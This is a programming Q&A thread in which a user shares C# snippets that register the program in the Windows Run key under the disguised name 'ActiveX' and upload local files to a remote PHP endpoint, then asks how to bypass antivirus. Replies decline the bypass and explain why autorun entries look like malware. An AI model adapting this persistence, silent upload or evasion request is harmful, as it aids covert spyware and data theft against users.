Click here to Skip to main content
15,889,876 members
Please Sign up or sign in to vote.
0.00/5 (No votes)
See more:
Hello experts I am facing a prob with my exe

My exe Is running f9

but caught by the Antivirus bcz of two reasons only

1 : RegistryKey reg = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
reg.SetValue("ActiveX", Application.ExecutablePath.ToString());
//when i create a entry in the registry

2: System.Net.WebClient Client = new System.Net.WebClient();
Client.Headers.Add("Content-Type", "binary/octet-stream");
byte[] result = Client.UploadFile("http://#########/data/upload.php", "POST", filepath);
string s = System.Text.Encoding.UTF8.GetString(result, 0, result.Length);

//and second when i upload my files from c# client to php server
How can i resolve it?
and give me suggestion for bypass antivirus
Posted
Updated 20-May-15 20:29pm
v2
Comments
Richard MacCutchan 21-May-15 3:53am    
You cannot bypass antivirus. You need to contact the company that makes the virus checker, and ask them what the problem is with your application.
Aditya Chauhan 21-May-15 4:41am    
ok ....but why this caught just because the code ya any other ?

1 solution

It's caught because adding entries to the autorun in the registry is common for malware.

That said, it's not not uncommon for companies to develop code for internal use that need to autorun when a machine starts, so there's usually a method to add exceptions to the AV product so it won;t flag certain executable names. If it;s a work computer, ask your system administrators, if not you;re stuck with digging into the AV documentation or contacting their support.
 
Share this answer
 

This content, along with any associated source code and files, is licensed under The Code Project Open License (CPOL)



CodeProject, 20 Bay Street, 11th Floor Toronto, Ontario, Canada M5J 2N8 +1 (416) 849-8900